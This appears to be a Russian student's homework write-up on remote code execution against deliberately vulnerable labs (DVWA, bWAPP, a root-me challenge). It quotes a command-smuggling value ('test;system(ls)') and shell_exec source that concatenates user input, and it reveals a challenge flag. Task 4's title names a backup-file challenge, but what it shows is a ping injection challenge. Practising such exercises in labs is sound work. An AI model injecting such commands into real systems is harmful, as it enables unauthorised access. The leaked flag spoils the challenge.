

Урок 7. Remote Code Execution

Задание 1:

Есть сценарий (dig.PHP), его следует проверить на наличие уязвимостей, которые приводят к RCE. Установите сценарий, протестируйте его и дайте рекомендации, как повысить безопасность его использования.

Решение:

Задание 2:

Выполните развертывание среды DVWA (или используйте готовый образ). Решите задание Command Injection на уровне сложности Low, Medium и High. Каким образом можно обойти защиту?

Решение:

На уровне сложности low:

Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
PING 87.240.190.67 (87.240.190.67) 56(84) bytes of data.  
From 192.168.56.11 icmp_seq=1 Destination Host Unreachable  
From 192.168.56.11 icmp_seq=2 Destination Host Unreachable  
From 192.168.56.11 icmp_seq=3 Destination Host Unreachable  
From 192.168.56.11 icmp_seq=4 Destination Host Unreachable  
  
--- 87.240.190.67 ping statistics ---  
4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 3019ms  
pipe 3  
total 20K  
drwxrwxrwx  4 root root 4.0K Oct 19  2018 .  
drwxrwxrwx 14 root root 4.0K Oct 19  2018 ..  
drwxrwxrwx  2 root root 4.0K Oct 19  2018 help  
-rwxrwxrwx  1 root root 1.8K Oct 19  2018 index.php  
drwxrwxrwx  2 root root 4.0K Oct 19  2018 source
```

На уровне сложности medium:

Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
total 20K
drwxrwxrwx  4 root root 4.0K Oct 19  2018 .
drwxrwxrwx 14 root root 4.0K Oct 19  2018 ..
drwxrwxrwx  2 root root 4.0K Oct 19  2018 help
-rwxrwxrwx  1 root root 1.8K Oct 19  2018 index.php
drwxrwxrwx  2 root root 4.0K Oct 19  2018 source
```

И на high:

Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
/var/www/html/dvwa/vulnerabilities/exec
```

Задание 3:

Изучите страницу <http://192.168.56.11/bwapp/phpi.php> и определите, какие уязвимости там присутствуют. Составьте отчет о найденной уязвимости.

Решение:

Если обратить внимание на адресную строку, то можно заметить, что страница сервиса bwapp уязвима к RCE, а именно code injection.


The screenshot shows a web browser window with the address bar displaying `192.168.56.11/bwapp/phpi.php?message=test;system(ls)`. The page has an orange header with the "bWAPP" logo and a bee icon, and the text "an extremely buggy web app!". A dark navigation bar contains links: Bugs, Change Password, Create User, Set Security Level, Reset, Credits, and Blog. The main content area has a title `/ PHP Code Injection /` and a message: "This is just a test page, reflecting back your **message...**". Below this is a long list of files and directories, including `test666`, `admin`, `aim.php`, `apps`, `ba_captcha_bypass.php`, `ba_forgotten.php`, `ba_insecure_login.php`, `ba_insecure_login_1.php`, `ba_insecure_login_2.php`, `ba_insecure_login_3.php`, `ba_logout.php`, `ba_logout_1.php`, `ba_pwd_attacks.php`, `ba_pwd_attacks_1.php`, `ba_pwd_attacks_2.php`, `ba_pwd_attacks_3.php`, `ba_pwd_attacks_4.php`, `ba_weak_pwd.php`, `backdoor.php`, `bof_1.php`, `bof_2.php`, `bugs.txt`, `captcha.php`, `captcha_box.php`, `clickjacking.php`, `commandi.php`, `commandi_blind.php`, `config.inc`, `config.inc.php`, `connect.php`, `connect_i.php`, `credits.php`, `cs_validation.php`, `csrf_1.php`, `csrf_2.php`, `csrf_3.php`, `db`, `directory_traversal_1.php`, `directory_traversal_2.php`, `documents`, `fonts`, `functions_external.php`, `heartbleed.php`, `hostheader_1.php`, `hostheader_2.php`, `hpp-1.php`, `hpp-2.php`, `hpp-3.php`, `htmli_current_url.php`, `htmli_get.php`, `htmli_post.php`, `htmli_stored.php`, `http_response_splitting.php`, `http_verb_tampering.php`, `iframei.php`, `images`, `index.php`, `info.php`, `info_install.php`, `information_disclosure_1.php`, `information_disclosure_2.php`, `information_disclosure_3.php`, `information_disclosure_4.php`, `insecure_crypt_storage_1.php`, `insecure_crypt_storage_2.php`, `insecure_crypt_storage_3.php`, `insecure_direct_object_ref_1.php`, `insecure_direct_object_ref_2.php`, `insecure_direct_object_ref_3.php`, `insecure_iframe.php`, `install.php`, `insuff_transp_layer_protect_1.php`, `insuff_transp_layer_protect_2.php`, `insuff_transp_layer_protect_3.php`, `insuff_transp_layer_protect_4.php`, `js`, `lang_en.php`, `lang_fr.php`, `lang_nl.php`, `ldap_connect.php`, `ldapi.php`, `lfi_sqlitemanager.php`, `login.php`, `logout.php`, `logs`, `maili.php`, `manual_interv.php`, `message.txt`, `password_change.php`, `passwords`, `php.cgi.php`, `php_eval.php`, `phpi.php`, `phpi_sqlitemanager.php`, `phpinfo.php`, `portal.bak`, `portal.php`, `portal.zip`, `reset.php`, `restrict_device_access.php`, `restrict_folder_access.php`, `rffi.php`, `robots.txt`, `secret-cors-1.php`, `secret-cors-2.php`, `secret-cors-3.php`, and `secret.php`.


Задание 4:

*Решите задание <https://www.root-me.org/en/Challenges/Web-Server/Backup-file>.

Решение:

Просто

 Не защищено | challenge01.root-me.org/web-serveur/ch54/index.php



```
PING 87.240.190.67 (87.240.190.67) 56(84) bytes of data.  
64 bytes from 87.240.190.67: icmp_seq=1 ttl=54 time=49.8 ms  
64 bytes from 87.240.190.67: icmp_seq=2 ttl=54 time=49.7 ms  
64 bytes from 87.240.190.67: icmp_seq=3 ttl=54 time=50.0 ms  
  
--- 87.240.190.67 ping statistics ---  
3 packets transmitted, 3 received, 0% packet loss, time 2004ms  
rtt min/avg/max/mdev = 49.723/49.824/49.981/0.112 ms  
$flag = "S3rv1ceP1n9Sup3rS3cure";  
if(isset($_POST["ip"]) && !empty($_POST["ip"])){  
    $response = shell_exec("timeout 5 bash -c 'ping -c 3 ".$_POST["ip"]."');  
    echo $response;  
}  
?>
```

